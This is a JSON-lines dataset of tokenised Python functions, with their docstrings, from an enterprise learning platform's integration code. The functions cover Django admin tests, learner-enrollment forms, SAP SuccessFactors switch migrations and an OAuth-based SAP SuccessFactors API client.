{"signature": "def get_expected_output(**expected_completion):", "body": "action = '<STR_LIT>'<EOL>action2 = '<STR_LIT>'<EOL>if expected_completion['<STR_LIT>'] == NOW_TIMESTAMP:<EOL><INDENT>degreed_timestamp = '<STR_LIT>'.format(NOW_TIMESTAMP_FORMATTED)<EOL><DEDENT>elif expected_completion['<STR_LIT>'] == PAST_TIMESTAMP:<EOL><INDENT>degreed_timestamp = '<STR_LIT>'.format(PAST_TIMESTAMP_FORMATTED)<EOL><DEDENT>else:<EOL><INDENT>degreed_timestamp = '<STR_LIT:null>'<EOL>action = '<STR_LIT>'<EOL>action2 = action<EOL><DEDENT>degreed_output_template = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>sapsf_output_template = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>expected_output = [<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\" + sapsf_output_template.format(<EOL>user_id='<STR_LIT>',<EOL>course_id=COURSE_KEY,<EOL>provider_id=\"<STR_LIT>\",<EOL>**expected_completion<EOL>),<EOL>\"<STR_LIT>\".format(action),<EOL>\"<STR_LIT>\" + sapsf_output_template.format(<EOL>user_id='<STR_LIT>',<EOL>course_id=COURSE_ID,<EOL>provider_id=\"<STR_LIT>\",<EOL>**expected_completion<EOL>),<EOL>\"<STR_LIT>\".format(action2),<EOL>\"<STR_LIT>\" + sapsf_output_template.format(<EOL>user_id='<STR_LIT>',<EOL>course_id=COURSE_KEY,<EOL>provider_id=\"<STR_LIT>\",<EOL>**expected_completion<EOL>),<EOL>\"<STR_LIT>\".format(action),<EOL>\"<STR_LIT>\" + sapsf_output_template.format(<EOL>user_id='<STR_LIT>',<EOL>course_id=COURSE_ID,<EOL>provider_id=\"<STR_LIT>\",<EOL>**expected_completion<EOL>),<EOL>\"<STR_LIT>\".format(action2),<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\" + degreed_output_template.format(<EOL>user_email='<STR_LIT>',<EOL>course_id=COURSE_KEY,<EOL>timestamp=degreed_timestamp<EOL>),<EOL>\"<STR_LIT>\".format(action),<EOL>\"<STR_LIT>\" + degreed_output_template.format(<EOL>user_email='<STR_LIT>',<EOL>course_id=COURSE_ID,<EOL>timestamp=degreed_timestamp<EOL>),<EOL>\"<STR_LIT>\".format(action2),<EOL>\"<STR_LIT>\" + degreed_output_template.format(<EOL>user_email='<STR_LIT>',<EOL>course_id=COURSE_KEY,<EOL>timestamp=degreed_timestamp<EOL>),<EOL>\"<STR_LIT>\".format(action),<EOL>\"<STR_LIT>\" + degreed_output_template.format(<EOL>user_email='<STR_LIT>',<EOL>course_id=COURSE_ID,<EOL>timestamp=degreed_timestamp<EOL>),<EOL>\"<STR_LIT>\".format(action2),<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>]<EOL>return expected_output<EOL>", "docstring": "Returns the expected JSON record logged by the ``transmit_learner_data`` command.", "id": "f16141:m2"}
{"signature": "def assert_info_logs_sap_learners_unlink(self, expected_messages):", "body": "with LogCapture(level=logging.INFO) as log_capture:<EOL><INDENT>call_command('<STR_LIT>')<EOL>for index, message in enumerate(expected_messages):<EOL><INDENT>assert message in log_capture.records[index].getMessage()<EOL><DEDENT><DEDENT>", "docstring": "DRY method to verify log messages for management command \"unlink_inactive_sap_learners\".", "id": "f16141:c4:m2"}
{"signature": "def _assert_role_assignments(self, user, role_name, user_role_assignment_count, is_feature_role=False):", "body": "role_class = SystemWideEnterpriseRole<EOL>role_assignment_class = SystemWideEnterpriseUserRoleAssignment<EOL>if is_feature_role:<EOL><INDENT>role_class = EnterpriseFeatureRole<EOL>role_assignment_class = EnterpriseFeatureUserRoleAssignment<EOL><DEDENT>enterprise_role = role_class.objects.get(name=role_name)<EOL>user_role_assignments = role_assignment_class.objects.filter(<EOL>user=user,<EOL>role=enterprise_role<EOL>)<EOL>self.assertEqual(user_role_assignments.count(), user_role_assignment_count)<EOL>", "docstring": "Verify expected role assignment records are created for specific role.", "id": "f16141:c5:m1"}
{"signature": "def setUp(self):", "body": "self.user = UserFactory.create(is_staff=True, is_active=True)<EOL>self.user.set_password(\"<STR_LIT>\")<EOL>self.user.save()<EOL>self.client = Client()<EOL>self.template = EnrollmentNotificationEmailTemplate.objects.create(<EOL>plaintext_template='<STR_LIT>',<EOL>html_template=(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>),<EOL>subject_line='<STR_LIT>',<EOL>enterprise_customer=EnterpriseCustomerFactory(),<EOL>)<EOL>super(TestPreviewTemplateView, self).setUp()<EOL>", "docstring": "Set up testing variables", "id": "f16142:c0:m0"}
{"signature": "def setUp(self):", "body": "super(BaseTestEnterpriseCustomerManageLearnersView, self).setUp()<EOL>self.user = UserFactory.create(is_staff=True, is_active=True, id=<NUM_LIT:1>)<EOL>self.user.set_password(\"<STR_LIT>\")<EOL>self.user.save()<EOL>self.enterprise_customer = EnterpriseCustomerFactory()<EOL>self.default_context = {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": self.enterprise_customer._meta,<EOL>\"<STR_LIT:user>\": self.user<EOL>}<EOL>self.view_url = reverse(<EOL>\"<STR_LIT>\" + enterprise_admin.utils.UrlNames.MANAGE_LEARNERS,<EOL>args=(self.enterprise_customer.uuid,)<EOL>)<EOL>self.client = Client()<EOL>self.context_parameters = EnterpriseCustomerManageLearnersView.ContextParameters<EOL>", "docstring": "Test set up - installs common dependencies.", "id": "f16142:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _assert_no_record(email):<DEDENT>", "body": "assert PendingEnterpriseCustomerUser.objects.filter(user_email=email).count() == <NUM_LIT:0><EOL>try:<EOL><INDENT>user = User.objects.get(email=email)<EOL>assert EnterpriseCustomerUser.objects.filter(user_id=user.id).count() == <NUM_LIT:0><EOL><DEDENT>except User.DoesNotExist:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Assert that linked user record with specified email does not exist.", "id": "f16142:c1:m2"}
{"signature": "def _login(self):", "body": "assert self.client.login(username=self.user.username, password=\"<STR_LIT>\")<EOL>", "docstring": "Log user in.", "id": "f16142:c1:m3"}
{"signature": "def _assert_django_messages(self, post_response, expected_messages):", "body": "self.assertRedirects(post_response, self.view_url, fetch_redirect_response=False)<EOL>get_response = self.client.get(self.view_url)<EOL>response_messages = set(<EOL>(m.level, m.message) for m in get_response.context['<STR_LIT>']  <EOL>)<EOL>assert response_messages == expected_messages<EOL>", "docstring": "Verify that the expected_messages are included in the context of the next response.", "id": "f16142:c1:m4"}
{"signature": "def _verify_pagination(<EOL>self,<EOL>page_object,<EOL>total_result,<EOL>page_number=<NUM_LIT:1>,<EOL>page_start=<NUM_LIT:0>,<EOL>page_end=PAGE_SIZE,<EOL>page_size=PAGE_SIZE<EOL>):", "body": "<EOL>assert page_object.number == page_number<EOL>assert list(page_object.object_list) == total_result[page_start:page_end]<EOL>assert page_object.paginator.count == len(total_result)<EOL>assert page_object.paginator.per_page == page_size<EOL>result_pages = int(ceil(len(total_result) / float(page_size))) if total_result else <NUM_LIT:1><EOL>assert page_object.paginator.num_pages == result_pages<EOL>assert list(page_object.paginator.object_list) == total_result<EOL>", "docstring": "Verifies pagination.", "id": "f16142:c2:m0"}
{"signature": "def _enroll_user_request(self, user, mode, course_id=\"<STR_LIT>\", program_id=\"<STR_LIT>\", notify=True):", "body": "notify = (<EOL>ManageLearnersForm.NotificationTypes.BY_EMAIL if notify<EOL>else ManageLearnersForm.NotificationTypes.NO_NOTIFICATION<EOL>)<EOL>self._login()<EOL>if isinstance(user, six.string_types):<EOL><INDENT>email_or_username = user<EOL><DEDENT>else:<EOL><INDENT>email_or_username = getattr(user, '<STR_LIT:username>', getattr(user, '<STR_LIT>', None))<EOL><DEDENT>response = self.client.post(self.view_url, data={<EOL>ManageLearnersForm.Fields.EMAIL_OR_USERNAME: email_or_username,<EOL>ManageLearnersForm.Fields.COURSE_MODE: mode,<EOL>ManageLearnersForm.Fields.COURSE: course_id,<EOL>ManageLearnersForm.Fields.PROGRAM: program_id,<EOL>ManageLearnersForm.Fields.NOTIFY: notify<EOL>})<EOL>return response<EOL>", "docstring": "Perform post request to log in and submit the form to enroll a user.", "id": "f16142:c3:m10"}
{"signature": "def _post_multi_enroll(self, forms_client, views_client, course_catalog_client, track_enrollment, create_user):", "body": "courses = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:title>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:start>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:title>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:start>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>}<EOL>}<EOL>catalog_instance = course_catalog_client.return_value<EOL>views_instance = views_client.return_value<EOL>views_instance.enroll_user_in_course.side_effect = fake_enrollment_api.enroll_user_in_course<EOL>forms_instance = forms_client.return_value<EOL>forms_instance.get_course_details.side_effect = fake_enrollment_api.get_course_details<EOL>enrollment_count = <NUM_LIT:0><EOL>user = None<EOL>user_email = FAKER.email()  <EOL>if create_user:<EOL><INDENT>user = UserFactory(email=user_email)<EOL><DEDENT>for course_id in courses:<EOL><INDENT>catalog_instance.get_course_run.return_value = courses[course_id]<EOL>mode = courses[course_id]['<STR_LIT>']<EOL>enrollment_count += <NUM_LIT:1><EOL>if user:<EOL><INDENT>response = self._enroll_user_request(user, mode, course_id=course_id)<EOL>if enrollment_count == <NUM_LIT:1>:<EOL><INDENT>views_instance.enroll_user_in_course.assert_called_once()<EOL>track_enrollment.assert_called_once()<EOL><DEDENT>views_instance.enroll_user_in_course.assert_called_with(<EOL>user.username,<EOL>course_id,<EOL>mode,<EOL>)<EOL>track_enrollment.assert_called_with('<STR_LIT>', user.id, course_id)<EOL>self._assert_django_messages(response, set([<EOL>(messages.SUCCESS, \"<STR_LIT>\".format(course_id)),<EOL>]))<EOL><DEDENT>else:<EOL><INDENT>response = self._enroll_user_request(user_email, mode, course_id=course_id, notify=True)<EOL><DEDENT>if user:<EOL><INDENT>all_enrollments = EnterpriseCourseEnrollment.objects.all()<EOL><DEDENT>else:<EOL><INDENT>all_enrollments = PendingEnrollment.objects.all()<EOL><DEDENT>num_enrollments = len(all_enrollments)<EOL>assert num_enrollments == enrollment_count<EOL>enrollment = all_enrollments[enrollment_count - <NUM_LIT:1>]<EOL>if user:<EOL><INDENT>assert enrollment.enterprise_customer_user.user == user<EOL><DEDENT>assert enrollment.course_id == course_id<EOL>num_messages = len(mail.outbox)<EOL>assert num_messages == enrollment_count<EOL><DEDENT>", "docstring": "Enroll an enterprise learner or pending learner in multiple courses.", "id": "f16142:c3:m12"}
{"signature": "def _get_form(self, response):", "body": "assert response.status_code == <NUM_LIT:200><EOL>self._test_common_context(response.context)  <EOL>manage_learners_form = response.context[self.context_parameters.MANAGE_LEARNERS_FORM]<EOL>assert manage_learners_form.is_bound<EOL>return manage_learners_form<EOL>", "docstring": "Utility function to capture common parts of assertions on form errors.\n\nArguments:\n    response (HttpResponse): View response.\n\nReturns:\n    ManageLearnersForm: bound instance of ManageLearnersForm used to render the response.\n\nRaises:\n    AssertionError: if response status code is not 200 or form is unbound.", "id": "f16142:c4:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _assert_line_message(actual_message, lineno, expected_message):<DEDENT>", "body": "assert \"<STR_LIT>\".format(lineno) in actual_message<EOL>assert expected_message in actual_message<EOL>", "docstring": "Assert that `actual_message` contains line number and `expected_message`", "id": "f16142:c4:m1"}
{"signature": "def _perform_request(self, columns, data, course=None, program=None, course_mode=None, notify=True):", "body": "with MakeCsvStreamContextManager(columns, data) as stream:<EOL><INDENT>post_data = {ManageLearnersForm.Fields.BULK_UPLOAD: stream}<EOL>if program is not None:<EOL><INDENT>post_data[ManageLearnersForm.Fields.PROGRAM] = program<EOL><DEDENT>if course is not None:<EOL><INDENT>post_data[ManageLearnersForm.Fields.COURSE] = course<EOL><DEDENT>if course_mode is not None:<EOL><INDENT>post_data[ManageLearnersForm.Fields.COURSE_MODE] = course_mode<EOL><DEDENT>post_data[ManageLearnersForm.Fields.NOTIFY] = '<STR_LIT>' if notify else '<STR_LIT>'<EOL>post_data['<STR_LIT>'] = self.enterprise_customer<EOL>response = self.client.post(self.view_url, data=post_data)<EOL><DEDENT>return response<EOL>", "docstring": "Perform bulk upload request with specified columns and data.\n\nArguments:\n    columns (list): CSV column header\n    data (list): CSV contents.\n    course (str): The course ID entered in the form.\n    course_mode (str): The enrollment mode entered in the form.\n\nReturns:\n    HttpResponse: View response.", "id": "f16142:c4:m2"}
{"signature": "def setUp(self):", "body": "super(BaseTestEnterpriseCustomerTransmitCoursesView, self).setUp()<EOL>self.user = UserFactory.create(is_staff=True, is_active=True, id=<NUM_LIT:1>)<EOL>self.user.set_password('<STR_LIT>')<EOL>self.user.save()<EOL>self.enterprise_channel_worker = UserFactory.create(is_staff=True, is_active=True)<EOL>self.enterprise_customer = EnterpriseCustomerFactory()<EOL>self.default_context = {<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': self.enterprise_customer._meta,<EOL>'<STR_LIT:user>': self.user<EOL>}<EOL>self.transmit_courses_metadata_form = TransmitEnterpriseCoursesForm()<EOL>self.view_url = reverse(<EOL>'<STR_LIT>' + enterprise_admin.utils.UrlNames.TRANSMIT_COURSES_METADATA,<EOL>args=(self.enterprise_customer.uuid,)<EOL>)<EOL>self.client = Client()<EOL>self.context_parameters = EnterpriseCustomerTransmitCoursesView.ContextParameters<EOL>", "docstring": "Test set up", "id": "f16142:c6:m0"}
{"signature": "def _login(self):", "body": "assert self.client.login(username=self.user.username, password='<STR_LIT>')<EOL>", "docstring": "Log user in.", "id": "f16142:c6:m2"}
{"signature": "def setUp(self):", "body": "super(TestWithCourseCatalogApiMixin, self).setUp()<EOL>self.catalog_api = mock.Mock(CourseCatalogApiClient)<EOL>patcher = mock.patch('<STR_LIT>', mock.Mock(return_value=self.catalog_api))<EOL>patcher.start()<EOL>self.addCleanup(patcher.stop)<EOL>", "docstring": "Build CourseCatalogApiClient mock and register it for deactivation at cleanup.", "id": "f16143:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _make_bound_form(email, file_attached=False, course=\"<STR_LIT>\", program=\"<STR_LIT>\", course_mode=\"<STR_LIT>\", notify=\"<STR_LIT>\"):<DEDENT>", "body": "form_data = {<EOL>ManageLearnersForm.Fields.EMAIL_OR_USERNAME: email,<EOL>ManageLearnersForm.Fields.COURSE: course,<EOL>ManageLearnersForm.Fields.PROGRAM: program,<EOL>ManageLearnersForm.Fields.COURSE_MODE: course_mode,<EOL>ManageLearnersForm.Fields.NOTIFY: notify,<EOL>}<EOL>file_data = {}<EOL>if file_attached:<EOL><INDENT>mock_file = mock.Mock(spec=File)<EOL>mock_file.name = \"<STR_LIT>\"<EOL>mock_file.read.return_value = \"<STR_LIT>\"<EOL>file_data = {ManageLearnersForm.Fields.BULK_UPLOAD: mock_file}<EOL><DEDENT>customer = EnterpriseCustomerFactory(<EOL>catalog=<NUM_LIT>,<EOL>)<EOL>return ManageLearnersForm(form_data, file_data, enterprise_customer=customer)<EOL>", "docstring": "Builds bound ManageLearnersForm.", "id": "f16143:c1:m0"}
{"signature": "def setUp(self):", "body": "super(TestEnterpriseCustomerAdminForm, self).setUp()<EOL>self.catalog_id = random.randint(<NUM_LIT:2>, <NUM_LIT>)<EOL>self.patch_enterprise_customer_user()<EOL>self.addCleanup(self.unpatch_enterprise_customer_user)<EOL>", "docstring": "Test set up.", "id": "f16143:c2:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _make_bound_form(identity_provider):<DEDENT>", "body": "form_data = {<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": identity_provider,<EOL>\"<STR_LIT>\": <NUM_LIT:1>,<EOL>\"<STR_LIT>\": <NUM_LIT:1>,<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>}<EOL>return EnterpriseCustomerAdminForm(form_data)<EOL>", "docstring": "Builds bound EnterpriseCustomerAdminForm.", "id": "f16143:c2:m1"}
{"signature": "@staticmethod<EOL><INDENT>def patch_enterprise_customer_user():<DEDENT>", "body": "EnterpriseCustomerAdminForm.user = None<EOL>", "docstring": "Set the class-level form user to None.", "id": "f16143:c2:m2"}
{"signature": "@staticmethod<EOL><INDENT>def unpatch_enterprise_customer_user():<DEDENT>", "body": "delattr(EnterpriseCustomerAdminForm, '<STR_LIT:user>')<EOL>", "docstring": "Set the form to its original state.", "id": "f16143:c2:m3"}
{"signature": "def setUp(self):", "body": "super(TestEnterpriseCustomerIdentityProviderAdminForm, self).setUp()<EOL>self.idp_choices = ((\"<STR_LIT>\", \"<STR_LIT>\"), ('<STR_LIT>', \"<STR_LIT>\"))<EOL>self.first_site = SiteFactory(domain=\"<STR_LIT>\")<EOL>self.second_site = SiteFactory(domain=\"<STR_LIT>\")<EOL>self.enterprise_customer = EnterpriseCustomerFactory(site=self.first_site)<EOL>self.provider_id = FAKER.slug()<EOL>", "docstring": "Test set up.", "id": "f16143:c3:m0"}
{"signature": "def setUp(self):", "body": "super(TestEnterpriseCustomerReportingConfigAdminForm, self).setUp()<EOL>self.ent_customer1 = EnterpriseCustomerFactory()<EOL>self.ent_customer2 = EnterpriseCustomerFactory()<EOL>self.ent_catalogs1 = [<EOL>EnterpriseCustomerCatalogFactory(enterprise_customer=self.ent_customer1)<EOL>for _ in range(<NUM_LIT:3>)<EOL>]<EOL>self.ent_catalogs2 = [<EOL>EnterpriseCustomerCatalogFactory(enterprise_customer=self.ent_customer2)<EOL>for _ in range(<NUM_LIT:2>)<EOL>]<EOL>self.form_data = {<EOL>'<STR_LIT>': self.ent_customer1.uuid,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT:email>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT:email>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT:password>',<EOL>}<EOL>", "docstring": "Test set up.", "id": "f16143:c4:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _make_expected_result(header, contents):<DEDENT>", "body": "return [<EOL>{key: value for key, value in zip(header, column_values)}<EOL>for column_values in contents<EOL>]<EOL>", "docstring": "Generates :method:`parse_csv` output from header and contents.\n\nArguments:\n    header (Iterable): Column headers.\n    contents (Iterable): CSV contents - each item represents a line.\n\nReturns:\n    list: Expected :method:`parse_csv` output", "id": "f16144:c0:m0"}
{"signature": "def greeting(self):", "body": "return \"<STR_LIT>\".format(name=self.name)<EOL>", "docstring": "Dummy method to test exporting callable.", "id": "f16146:c0:m1"}
{"signature": "def setUp(self):", "body": "self.action = get_clear_catalog_id_action()<EOL>self.model_admin_mock = mock.Mock()<EOL>self.model_admin_mock.model._meta.fields = [<EOL>self._make_field(\"<STR_LIT:code>\"), self._make_field(\"<STR_LIT:name>\"), self._make_field(\"<STR_LIT:description>\"),<EOL>]<EOL>super(TestClearCatalogAction, self).setUp()<EOL>", "docstring": "Provide the necessary moving parts for the tests.", "id": "f16146:c2:m0"}
{"signature": "def _make_field(self, name):", "body": "field = mock.Mock()<EOL>field.name = name<EOL>return field<EOL>", "docstring": "Mock django field.", "id": "f16146:c2:m3"}
{"signature": "def _make_patch(self, target, **kwargs):", "body": "target_mock = mock.Mock(**kwargs)<EOL>patch = mock.patch(target, new=target_mock)<EOL>patch.start()<EOL>self.addCleanup(patch.stop)<EOL>return target_mock<EOL>", "docstring": "Patch `target` with mock for the duration of test run.", "id": "f16146:c3:m0"}
{"signature": "def _make_field(self, name):", "body": "field = mock.Mock()<EOL>field.name = name<EOL>return field<EOL>", "docstring": "Mock django field.", "id": "f16146:c3:m1"}
{"signature": "def _assert_correct_csv(self, actual_csv, expected_rows):", "body": "reader = unicodecsv.reader(actual_csv.getvalue().splitlines(), encoding=\"<STR_LIT:utf-8>\")<EOL>expected_rows = [<EOL>[str(item) for item in row]<EOL>for row in expected_rows<EOL>]<EOL>actual_rows = list(reader)<EOL>self.assertEqual(actual_rows, expected_rows)<EOL>", "docstring": "Asserts that CSV file ``actual_csv`` contains ``expected_rows``", "id": "f16146:c3:m2"}
{"signature": "def setUp(self):", "body": "super(TestCSVExportAction, self).setUp()<EOL>self.output_stream = BytesIO()<EOL>response_instance_mock = mock.MagicMock(wraps=self.output_stream)<EOL>self.response_mock = self._make_patch(<EOL>\"<STR_LIT>\",<EOL>return_value=response_instance_mock<EOL>)<EOL>self.model_admin_mock = mock.Mock()<EOL>self.model_admin_mock.model._meta.fields = [<EOL>self._make_field(\"<STR_LIT:code>\"), self._make_field(\"<STR_LIT:name>\"), self._make_field(\"<STR_LIT:description>\"),<EOL>]<EOL>", "docstring": "Test suite set up method.", "id": "f16146:c3:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _add_messages(request, alert_messages):<DEDENT>", "body": "for message_type, message in alert_messages:<EOL><INDENT>messages.add_message(request, message_type, message)<EOL><DEDENT>", "docstring": "Add django messages to the request context using `messages` app.\n\nArguments:\n    alert_messages (list): A list of tuples containing message type and message body.\n        e.g. [('success', 'This is a dummy success message.'), ]", "id": "f16147:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _get_mock_request():<DEDENT>", "body": "request = RequestFactory().get('<STR_LIT:/>')<EOL>request.session = cache.SessionStore()<EOL>request._messages = fallback.FallbackStorage(request)<EOL>return request<EOL>", "docstring": "Get mock django HttpRequest object.", "id": "f16147:c0:m1"}
{"signature": "def create_switch(apps, schema_editor):", "body": "Switch = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>Switch.objects.get_or_create(name='<STR_LIT>', defaults={'<STR_LIT>': False})<EOL>", "docstring": "Create and activate the SAP_USE_ENTERPRISE_ENROLLMENT_PAGE switch if it does not already exist.", "id": "f16171:m0"}
{"signature": "def delete_switch(apps, schema_editor):", "body": "Switch = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>Switch.objects.filter(name='<STR_LIT>').delete()<EOL>", "docstring": "Delete the SAP_USE_ENTERPRISE_ENROLLMENT_PAGE switch.", "id": "f16171:m1"}
{"signature": "def create_switch(apps, schema_editor):", "body": "Switch = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>Switch.objects.get_or_create(name='<STR_LIT>', defaults={'<STR_LIT>': False})<EOL>", "docstring": "Create and activate the SAP_USE_ENTERPRISE_ENROLLMENT_PAGE switch if it does not already exist.", "id": "f16173:m0"}
{"signature": "def delete_switch(apps, schema_editor):", "body": "Switch = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>Switch.objects.filter(name='<STR_LIT>').delete()<EOL>", "docstring": "Delete the SAP_USE_ENTERPRISE_ENROLLMENT_PAGE switch.", "id": "f16173:m1"}
{"signature": "def dropHistoricalTable(apps, schema_editor):", "body": "table_name = '<STR_LIT>'<EOL>if table_name in connection.introspection.table_names():<EOL><INDENT>migrations.DeleteModel(<EOL>name=table_name,<EOL>)<EOL><DEDENT>", "docstring": "Drops the historical sap_success_factors table named herein.", "id": "f16178:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_oauth_access_token(url_base, client_id, client_secret, company_id, user_id, user_type):<DEDENT>", "body": "SAPSuccessFactorsGlobalConfiguration = apps.get_model(  <EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL>global_sap_config = SAPSuccessFactorsGlobalConfiguration.current()<EOL>url = url_base + global_sap_config.oauth_api_path<EOL>response = requests.post(<EOL>url,<EOL>json={<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': company_id,<EOL>'<STR_LIT>': user_type,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>},<EOL>auth=(client_id, client_secret),<EOL>headers={'<STR_LIT>': '<STR_LIT:application/json>'}<EOL>)<EOL>response.raise_for_status()<EOL>data = response.json()<EOL>try:<EOL><INDENT>return data['<STR_LIT>'], datetime.datetime.utcfromtimestamp(data['<STR_LIT>'] + int(time.time()))<EOL><DEDENT>except KeyError:<EOL><INDENT>raise requests.RequestException(response=response)<EOL><DEDENT>", "docstring": "Retrieves OAuth 2.0 access token using the client credentials grant.\n\n        Args:\n            url_base (str): Oauth2 access token endpoint\n            client_id (str): client ID\n            client_secret (str): client secret\n            company_id (str): SAP company ID\n            user_id (str): SAP user ID\n            user_type (str): type of SAP user (admin or user)\n\n        Returns:\n            tuple: Tuple containing access token string and expiration datetime.\n        Raises:\n            HTTPError: If we received a failure response code from SAP SuccessFactors.\n            RequestException: If an unexpected response format was received that we could not parse.", "id": "f16189:c0:m0"}
{"signature": "def __init__(self, enterprise_configuration):", "body": "super(SAPSuccessFactorsAPIClient, self).__init__(enterprise_configuration)<EOL>self.global_sap_config = apps.get_model('<STR_LIT>', '<STR_LIT>').current()<EOL>self._create_session()<EOL>", "docstring": "Instantiate a new client.\n\nArgs:\n    enterprise_configuration (SAPSuccessFactorsEnterpriseCustomerConfiguration): An enterprise customers's\n    configuration model for connecting with SAP SuccessFactors", "id": "f16189:c0:m1"}
{"signature": "def _create_session(self):", "body": "session = requests.Session()<EOL>session.timeout = self.SESSION_TIMEOUT<EOL>oauth_access_token, expires_at = SAPSuccessFactorsAPIClient.get_oauth_access_token(<EOL>self.enterprise_configuration.sapsf_base_url,<EOL>self.enterprise_configuration.key,<EOL>self.enterprise_configuration.secret,<EOL>self.enterprise_configuration.sapsf_company_id,<EOL>self.enterprise_configuration.sapsf_user_id,<EOL>self.enterprise_configuration.user_type<EOL>)<EOL>session.headers['<STR_LIT>'] = '<STR_LIT>'.format(oauth_access_token)<EOL>session.headers['<STR_LIT>'] = '<STR_LIT:application/json>'<EOL>self.session = session<EOL>self.expires_at = expires_at<EOL>", "docstring": "Instantiate a new session object for use in connecting with SAP SuccessFactors", "id": "f16189:c0:m2"}
{"signature": "def create_course_completion(self, user_id, payload):", "body": "url = self.enterprise_configuration.sapsf_base_url + self.global_sap_config.completion_status_api_path<EOL>return self._call_post_with_user_override(user_id, url, payload)<EOL>", "docstring": "Send a completion status payload to the SuccessFactors OCN Completion Status endpoint\n\nArgs:\n    user_id (str): The sap user id that the completion status is being sent for.\n    payload (str): JSON encoded object (serialized from SapSuccessFactorsLearnerDataTransmissionAudit)\n        containing completion status fields per SuccessFactors documentation.\n\nReturns:\n    The body of the response from SAP SuccessFactors, if successful\nRaises:\n    HTTPError: if we received a failure response code from SAP SuccessFactors", "id": "f16189:c0:m3"}
{"signature": "def create_content_metadata(self, serialized_data):", "body": "self._sync_content_metadata(serialized_data)<EOL>", "docstring": "Create content metadata records using the SuccessFactors OCN Course Import API endpoint.\n\nArguments:\n    serialized_data: Serialized JSON string representing a list of content metadata items.\n\nRaises:\n    ClientError: If SuccessFactors API call fails.", "id": "f16189:c0:m4"}
{"signature": "def update_content_metadata(self, serialized_data):", "body": "self._sync_content_metadata(serialized_data)<EOL>", "docstring": "Update content metadata records using the SuccessFactors OCN Course Import API endpoint.\n\nArguments:\n    serialized_data: Serialized JSON string representing a list of content metadata items.\n\nRaises:\n    ClientError: If SuccessFactors API call fails.", "id": "f16189:c0:m5"}
{"signature": "def delete_content_metadata(self, serialized_data):", "body": "self._sync_content_metadata(serialized_data)<EOL>", "docstring": "Delete content metadata records using the SuccessFactors OCN Course Import API endpoint.\n\nArguments:\n    serialized_data: Serialized JSON string representing a list of content metadata items.\n\nRaises:\n    ClientError: If SuccessFactors API call fails.", "id": "f16189:c0:m6"}
{"signature": "def _sync_content_metadata(self, serialized_data):", "body": "url = self.enterprise_configuration.sapsf_base_url + self.global_sap_config.course_api_path<EOL>try:<EOL><INDENT>status_code, response_body = self._call_post_with_session(url, serialized_data)<EOL><DEDENT>except requests.exceptions.RequestException as exc:<EOL><INDENT>raise ClientError(<EOL>'<STR_LIT>'.format(<EOL>error=exc.__class__.__name__,<EOL>message=str(exc)<EOL>)<EOL>)<EOL><DEDENT>if status_code >= <NUM_LIT>:<EOL><INDENT>raise ClientError(<EOL>'<STR_LIT>'.format(<EOL>status_code=status_code,<EOL>message=response_body<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Create/update/delete content metadata records using the SuccessFactors OCN Course Import API endpoint.\n\nArguments:\n    serialized_data: Serialized JSON string representing a list of content metadata items.\n\nRaises:\n    ClientError: If SuccessFactors API call fails.", "id": "f16189:c0:m7"}
